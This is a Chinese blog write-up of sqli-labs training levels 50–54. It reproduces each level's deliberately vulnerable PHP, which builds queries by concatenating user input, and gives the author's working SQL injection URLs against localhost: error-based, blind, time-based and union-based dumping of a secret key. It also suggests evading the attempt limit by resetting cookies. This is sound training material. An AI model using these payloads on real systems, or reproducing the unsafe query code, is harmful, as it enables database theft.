sqli labs Less 50 -> Less 54
前言
距离上学还有3天，今天继续闯sqli-labs靶场，从50关崩到54关，感觉可还行
BGM:喜欢
正文
50关代码
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>ORDER BY Clause Blind based</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">
<?php
include("../sql-connections/sqli-connect.php");
error_reporting(0);
$id=$_GET['sort'];
if(isset($id))
{
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'SORT:'.$id."\n");
fclose($fp);
$sql="SELECT * FROM users ORDER BY $id";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
{
?>
<center>
<font color= "#00FF00" size="4">
<table border=1'>
<tr>
<th> ID </th>
<th> USERNAME </th>
<th> PASSWORD </th>
</tr>
</font>
</font>
<?php
/* store first result set */
if ($result = mysqli_store_result($con1))
{
while($row = mysqli_fetch_row($result))
{
echo '<font color= "#00FF11" size="3">';
echo "<tr>";
echo "<td>";
printf("%s", $row[0]);
echo "</td>";
echo "<td>";
printf("%s", $row[1]);
echo "</td>";
echo "<td>";
printf("%s", $row[2]);
echo "</td>";
echo "</tr>";
echo "</font>";
}
}
echo "</table>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysqli_error($con1));
echo "</font>";
}
}
else
{
echo "Please input parameter as SORT with numeric value<br><br><br><br>";
echo "<br><br><br>";
echo '<img src="../images/Less-50.jpg" /><br>';
}
?>
</font>
</div>
</br>
</br>
</br>
</center>
</body>
</html>
还是order by注入，报错注入带走
http://127.0.0.1/sqli-labs-master/Less-50/?sort=updatexml(1,concat(0x7e,(select%20user()),0x7e),1)
51关代码：
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>ORDER BY Clause Blind based</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">
<?php
include("../sql-connections/sqli-connect.php");
error_reporting(0);
$id=$_GET['sort'];
if(isset($id))
{
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'SORT:'.$id."\n");
fclose($fp);
$sql="SELECT * FROM users ORDER BY '$id'";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
{
?>
<center>
<font color= "#00FF00" size="4">
<table border=1'>
<tr>
<th> ID </th>
<th> USERNAME </th>
<th> PASSWORD </th>
</tr>
</font>
</font>
<?php
/* store first result set */
if ($result = mysqli_store_result($con1))
{
while($row = mysqli_fetch_row($result))
{
echo '<font color= "#00FF11" size="3">';
echo "<tr>";
echo "<td>";
printf("%s", $row[0]);
echo "</td>";
echo "<td>";
printf("%s", $row[1]);
echo "</td>";
echo "<td>";
printf("%s", $row[2]);
echo "</td>";
echo "</tr>";
echo "</font>";
}
}
echo "</table>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysqli_error($con1));
echo "</font>";
}
}
else
{
echo "Please input parameter as SORT with numeric value<br><br><br><br>";
echo "<br><br><br>";
echo '<img src="../images/Less-51.jpg" /><br>';
}
?>
</font>
</div>
</br>
</br>
</br>
</center>
</body>
</html>
多了个需要闭合还是报错注入带走
http://127.0.0.1/sqli-labs-master/Less-51/?sort=1%27%20and%20updatexml(1,concat(0x7e,(select%20user()),0x7e),1)%20--+
52关代码：
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>ORDER BY Clause Blind based</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">
<?php
include("../sql-connections/sqli-connect.php");
error_reporting(0);
$id=$_GET['sort'];
if(isset($id))
{
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'SORT:'.$id."\n");
fclose($fp);
$sql="SELECT * FROM users ORDER BY '$id'";
/* execute multi query */
if (mysqli_multi_query($con1, $sql)) /*查询*/
{
?>
<center>
<font color= "#00FF00" size="4">
<table border=1'>
<tr>
<th> ID </th>
<th> USERNAME </th>
<th> PASSWORD </th>
</tr>
</font>
</font>
<?php
/* store first result set */
if ($result = mysqli_store_result($con1))
{
while($row = mysqli_fetch_row($result))
{
echo '<font color= "#00FF11" size="3">';
echo "<tr>";
echo "<td>";
printf("%s", $row[0]);
echo "</td>";
echo "<td>";
printf("%s", $row[1]);
echo "</td>";
echo "<td>";
printf("%s", $row[2]);
echo "</td>";
echo "</tr>";
echo "</font>";
}
}
echo "</table>";
}
}
else
{
echo "Please input parameter as SORT with numeric value<br><br><br><br>";
echo "<br><br><br>";
echo '<img src="../images/Less-53.jpg" /><br>';
}
?>
</font>
</div>
</br>
</br>
</br>
</center>
</body>
</html>
没有输出mysql报错，盲注带走
http://127.0.0.1/sqli-labs-master/Less-52/?sort=rand(length(database())=8)
53关代码：
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>ORDER BY Clause Blind based</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">
<?php
include("../sql-connections/sqli-connect.php");
error_reporting(0);
$id=$_GET['sort'];
if(isset($id))
{
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'SORT:'.$id."\n");
fclose($fp);
$sql="SELECT * FROM users ORDER BY '$id'";
/* execute multi query */
if (mysqli_multi_query($con1, $sql)) /*查询*/
{
?>
<center>
<font color= "#00FF00" size="4">
<table border=1'>
<tr>
<th> ID </th>
<th> USERNAME </th>
<th> PASSWORD </th>
</tr>
</font>
</font>
<?php
/* store first result set */
if ($result = mysqli_store_result($con1))
{
while($row = mysqli_fetch_row($result))
{
echo '<font color= "#00FF11" size="3">';
echo "<tr>";
echo "<td>";
printf("%s", $row[0]);
echo "</td>";
echo "<td>";
printf("%s", $row[1]);
echo "</td>";
echo "<td>";
printf("%s", $row[2]);
echo "</td>";
echo "</tr>";
echo "</font>";
}
}
echo "</table>";
}
}
else
{
echo "Please input parameter as SORT with numeric value<br><br><br><br>";
echo "<br><br><br>";
echo '<img src="../images/Less-53.jpg" /><br>';
}
?>
</font>
</div>
</br>
</br>
</br>
</center>
</body>
</html>
回显不正常只能延时注入，由于延时注入从图片中看不出效果这里就不放了
http://127.0.0.1/sqli-labs-master/Less-53/?sort=1%27%20and%20sleep(if((length(dataabse())=8),1,4))%20--+
54关代码：
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-54:Challenge-1</title>
</head>
<body bgcolor="#000000">
<div style ="text-align:right">
<form action="" method="post">
<input type="submit" name="reset" value="Reset the Challenge!" />
</form>
</div>
</right>
<div style=" margin-top:20px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">
<?php
//including the Mysql connect parameters.
include '../sql-connections/sql-connect-1.php';
include '../sql-connections/functions.php';
error_reporting(0);
$pag = $_SERVER['PHP_SELF']; //generating page address to piggy back after redirects... /*获取当前php的路径*/
$characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; //characterset for generating random data /*用于生成随机数据的字符集*/
$times= 10;
$table = table_name();
$col = column_name(1); // session id column name
$col1 = column_name(2); //secret key column name
// Submitting the final answer
if(!isset($_POST['answer_key'])) /*判断answer_key如果否存在，如果不存在则执行以下操作*/
{
// resetting the challenge and repopulating the table .
if(isset($_POST['reset'])) /*如果POST的传参reset存在*/
{
setcookie('challenge', ' ', time() - 3600000); /*设置一个cookie然后跳转*/
echo "<font size=4>You have reset the Challenge</font><br>\n";
echo "Redirecting you to main challenge page..........\n";
header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" ); /*重定向到主页*/
//echo "cookie expired";
}
else
{
// Checking the cookie on the page and populate the table with random value.
if(isset($_COOKIE['challenge'])) /*判断是否有cookie存在*/
{
$sessid=$_COOKIE['challenge'];
//echo "Cookie value: ".$sessid;
}
else
{
$expire = time()+60*60*24*30;
$hash = data($table,$col);
setcookie("challenge", $hash, $expire); /*如果是第一次访问给予一个cookie*/
}
echo "<br>\n";
// take the variables
if(isset($_GET['id'])) /*判断是否有GET传参ID的存在*/
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
//update the counter in database
next_tryy();
//Display attempts on screen.
$tryyy = view_attempts();
echo "You have made : ". $tryyy ." of $times attempts";
echo "<br><br><br>\n";
//Reset the Database if you exceed allowed attempts.
if($tryyy >= ($times+1))
{
setcookie('challenge', ' ', time() - 3600000);
echo "<font size=4>You have exceeded maximum allowed attempts, Hence Challenge Has Been Reset </font><br>\n";
echo "Redirecting you to challenge page..........\n";
header( "refresh:3;url=../sql-connections/setup-db-challenge.php?id=$pag" );
echo "<br>\n";
}
// Querry DB to get the correct output
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font color= "#00FFFF">';
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
// print_r(mysql_error());
echo "</font>";
}
}
else
{
echo "Please input the ID as parameter with numeric value as done in Lab excercises\n<br><br>\n</font>";
echo "<font color='#00FFFF': size=3>The objective of this challenge is to dump the <b>(secret key)</b> from only random table from Database <b><i>('CHALLENGES')</i></b> in Less than $times attempts<br>";
echo "For fun, with every reset, the challenge spawns random table name, column name, table data. Keeping it fresh at all times.<br>" ;
}
}
?>
</font> </div></br></br></br><center>
<img src="../images/Less-54.jpg" />
</center>
<br><br><br>
<div style=" color:#00FFFF; font-size:18px; text-align:center">
<form name="input" action="" method="post">
Submit Secret Key: <input type="text" name="key">
<input type="submit" name = "answer_key" value="Submit">
</form>
</div>
<?php
}
else
{
echo '<div style=" color:#00FFFF; font-size:18px; text-align:center">';
$key = addslashes($_POST['key']); /*处理特殊字符*/
$key = mysql_real_escape_string($key);
//echo $key;
//Query table to verify your result
$sql="SELECT 1 FROM $table WHERE $col1= '$key'";
//echo "$sql";
$result=mysql_query($sql)or die("error in submittion of Key Solution".mysql_error());
$row = mysql_fetch_array($result);
if($row)
{
echo '<font color= "#FFFF00">';
echo "\n<br><br><br>";
echo '<img src="../images/Less-54-1.jpg" />';
echo "</font>";
header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );
}
else
{
echo '<font color= "#FFFF00">';
echo "\n<br><br><br>";
echo '<img src="../images/slap1.jpg" />';
header( "refresh:3;url=index.php" );
//print_r(mysql_error());
echo "</font>";
}
}
?>
</body>
</html>
要求你注入获取到key，数据库不在是security,限制注入次数为10次，如果超过此次数，重定向到主页，并且每次的密码都是随机的。虽然如此，但是这是通过cookie来判断你的次数，你可以修改你cookie或者更换IP和浏览器来进行多次试验
PS:给出数据库名：challenges
payload:
http://127.0.0.1/sqli-labs-master/Less-54/?id=0%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%22challenges%22%20--+
http://127.0.0.1/sqli-labs-master/Less-54/?id=0%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%22v1icuozblo%22%20--+
http://127.0.0.1/sqli-labs-master/Less-54/?id=0%27%20union%20select%201,group_concat(secret_J0N4,tryy),3%20from%20v1icuozblo%20--+
最终得到随机密码是：J7oVFGp7S8WSd5Nb1xLBK7uF11
转载请声明：转自422926799.github.io
转载请注明来源，欢迎对文章中的引用来源进行考证，欢迎指出任何有错误或不够清晰的表达。
文章标题:sqli labs Less 50 -> Less 54
本文作者:九世
发布时间:2019-02-14, 18:37:41
最后更新:2019-04-19, 20:36:16
原始链接:http://jiushill.github.io/posts/b0e668d5.html版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。